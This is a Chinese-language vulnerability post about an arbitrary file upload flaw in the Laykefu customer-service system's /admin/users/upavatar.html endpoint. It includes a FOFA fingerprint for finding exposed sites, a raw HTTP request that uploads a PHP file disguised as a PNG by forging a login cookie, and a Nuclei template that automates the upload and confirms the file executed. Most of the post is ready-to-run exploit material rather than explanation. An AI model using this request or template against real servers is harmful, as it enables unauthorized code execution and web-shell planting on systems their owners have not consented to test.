Laykefu客服系统任意文件上传-编程知识

Laykefu客服系统任意文件上传

【产品介绍】

Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系统，旨在帮助企业有效管理和提供优质的客户服务

【漏洞介绍】

Laykefu客服系统/admin/users/upavatar.html接口处存在文件上传漏洞

【资产测绘Query】

fofa语法：icon_hash="-334624619"

【产品界面】

【漏洞复现】

【poc】

POST /admin/users/upavatar.html HTTP/2
Host:
Cookie: user_name=1; user_id=3
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Length: 198------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png<?php echo 13579; ?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

【Nuclei-Poc】


id: Laykefu-uploadfileinfo:
name: Laykefu-uploadfile
author: 111
severity: high
metadata:
fofa-query: icon_hash="-334624619"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(34))}}"
http:
- raw:
- |
POST /admin/users/upavatar.html HTTP/2
Host: {{Hostname}}
Cookie: user_name=1; user_id=3
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----{{boundary}}
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Length: 198------{{boundary}}
Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
Content-Type: image/png<?php echo 13579;unlink(__FILE__);?>
------{{boundary}}--
- |
GET /uploads/{{path}}{{path1}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0extractors:
- type: regex
name: path
group: 1
regex:
- '(\d{8})'
internal: true- type: regex
name: path1
group: 1
regex:
- '(/[0-9a-zA-Z]{32}\.php)'
internal: truematchers:
- type: dsl
dsl:
- "status_code_2 == 200 && contains(body_2,' 13579')"